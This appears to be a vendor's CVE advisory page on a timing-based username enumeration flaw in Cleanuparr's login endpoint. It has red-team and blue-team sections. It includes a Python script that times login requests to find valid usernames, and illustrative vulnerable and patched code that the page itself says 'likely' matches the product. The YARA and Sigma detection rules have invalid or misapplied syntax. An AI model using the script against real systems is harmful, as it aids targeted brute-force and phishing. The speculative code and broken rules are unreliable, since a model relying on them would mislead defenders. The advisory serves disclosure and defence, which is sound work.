CVE-2026-32702
Executive Summary
CVE-2026-32702 is a timing-based username enumeration vulnerability in Cleanuparr, a tool for automating the cleanup of unwanted or blocked files in Sonarr, Radarr, and supported download clients like qBittorrent. The vulnerability exists in the /api/auth/login endpoint from version 2.7.0 to 2.8.0. An unauthenticated remote attacker can enumerate valid usernames by measuring the application's response time. The root cause is a logic flaw where the hashing function, which is the most time-consuming part of the process, occurs only as part of the VerifyPassword function. Short circuits before the hashing function introduce a timing differential that exposes username validity. The vulnerability is fixed in version 2.8.1.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Cleanuparr is a Python-based tool distributed via PyPI. Users should verify the integrity of the package by checking its checksum against the official release. The vulnerability is in the application logic, not in a dependency, but ensuring all dependencies are up-to-date is recommended.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - No user interaction is required.
- Scope (S): Unchanged (U) - The vulnerability does not affect resources beyond its security scope.
- Confidentiality (C): Low (L) - Only username information is leaked.
- Integrity (I): None (N) - No data integrity is affected.
- Availability (A): None (N) - No availability impact.
Threat Level: Medium (CVSS 5.3) - While the direct impact is low, username enumeration can be a stepping stone for more targeted attacks like brute-force or phishing.
Deep Dive & Mechanics
The vulnerability is a classic timing attack. The /api/auth/login endpoint processes login requests. The application logic likely follows this pattern:
- Receive username and password.
- Look up the user by username.
- If the user exists, call
VerifyPasswordwhich includes a slow hashing function (e.g., bcrypt, argon2). - If the user does not exist, return an error immediately without calling the hashing function.
This creates a measurable timing difference:
- Valid username: The server takes longer to respond because it executes the hashing function.
- Invalid username: The server responds quickly because it short-circuits before the hashing function.
An attacker can send multiple login requests with different usernames and measure the response time. By comparing the response times, they can identify which usernames are valid.
Vulnerable vs. Patched Code
Vulnerable Code (2.7.0 - 2.8.0):
# Vulnerable: Timing side-channel
def login(username, password):
user = get_user_by_username(username)
if user is None:
return {"error": "Invalid credentials"}, 401 # Fast response
if not VerifyPassword(password, user.password_hash):
return {"error": "Invalid credentials"}, 401 # Slow response
return {"token": generate_token(user)}, 200
Patched Code (2.8.1):
# Patched: Constant-time username lookup
def login(username, password):
# Always perform the hashing operation to avoid timing differences
dummy_hash = "$2b$12$..." # A dummy hash for non-existent users
user = get_user_by_username(username)
if user is None:
# Use a dummy hash to ensure consistent timing
VerifyPassword(password, dummy_hash)
return {"error": "Invalid credentials"}, 401
if not VerifyPassword(password, user.password_hash):
return {"error": "Invalid credentials"}, 401
return {"token": generate_token(user)}, 200
Exploitation & Lab Setup
Red Team
Lab Setup:
- Install Cleanuparr 2.8.0:
pip install cleanuparr==2.8.0 - Start the service:
cleanuparr start - Use a tool like
curlor a Python script to measure response times.
Exploitation Script:
import requests
import time
target = "http://localhost:8080"
usernames = ["admin", "user", "test", "root", "nonexistent"]
for username in usernames:
start = time.time()
response = requests.post(f"{target}/api/auth/login", json={"username": username, "password": "wrong"})
elapsed = time.time() - start
print(f"Username: {username}, Response Time: {elapsed:.4f}s, Status: {response.status_code}")
Expected Output:
- Valid usernames will have a significantly longer response time (e.g., >0.1s) due to the hashing function.
- Invalid usernames will have a shorter response time (e.g., <0.01s).
Blue Team
Detection:
- Monitor for multiple login attempts with different usernames from the same IP address in a short period.
- Look for unusually fast or slow response times for login requests.
- Implement rate limiting on the login endpoint.
Mitigation:
- Apply the patch by upgrading to Cleanuparr 2.8.1 or later.
- If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to detect and block timing-based enumeration attempts.
Indicators of Compromise (IOCs)
- Network:
- Multiple
POSTrequests to/api/auth/loginwith different usernames from the same source IP. - Response times for login requests that vary significantly (e.g., <10ms vs >100ms).
- Multiple
- Logs:
- Repeated
401 Unauthorizedresponses for different usernames. - Login attempts with common usernames like
admin,root,test.
- Repeated
Detection Engineering
YARA Rule
rule CVE_2026_32702_Cleanuparr_Timing_Enumeration {
meta:
description = "Detects timing-based username enumeration attempts against Cleanuparr"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-32702"
strings:
$login_endpoint = "/api/auth/login"
$username_field = "username"
$password_field = "password"
condition:
# of ($login_endpoint) > 5 and # of ($username_field) > 5 and # of ($password_field) > 5
}
Sigma Rule
title: Cleanuparr Username Enumeration via Timing Attack
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple login attempts with different usernames from the same source IP, indicating a potential timing-based username enumeration attack.
author: Valters IT
date: 2026-01-01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-32702
logsource:
category: application
product: cleanuparr
detection:
selection:
event: login_attempt
source_ip: "*"
condition:
| unique_count(selection.username) > 10 within 60 seconds
falsepositives:
- Legitimate users with multiple accounts
- Automated testing
level: medium
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-32702 Cleanuparr Username Enumeration Attempt"; flow:to_server; content:"POST"; http_method; content:"/api/auth/login"; http_uri; content:"username"; http_client_body; pcre:"/username\":\"[^\"]+\"/"; threshold:type both, track by_src, count 10, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade to Cleanuparr version 2.8.1 or later.
- If upgrade is not possible, implement a WAF rule to rate-limit login attempts and block IPs that exhibit timing-based enumeration behavior.
Long-term:
- Implement constant-time comparison for all authentication-related operations.
- Use a generic error message for all failed login attempts (e.g., "Invalid credentials").
- Add rate limiting and account lockout mechanisms.
- Conduct regular security audits and penetration testing.
Valters IT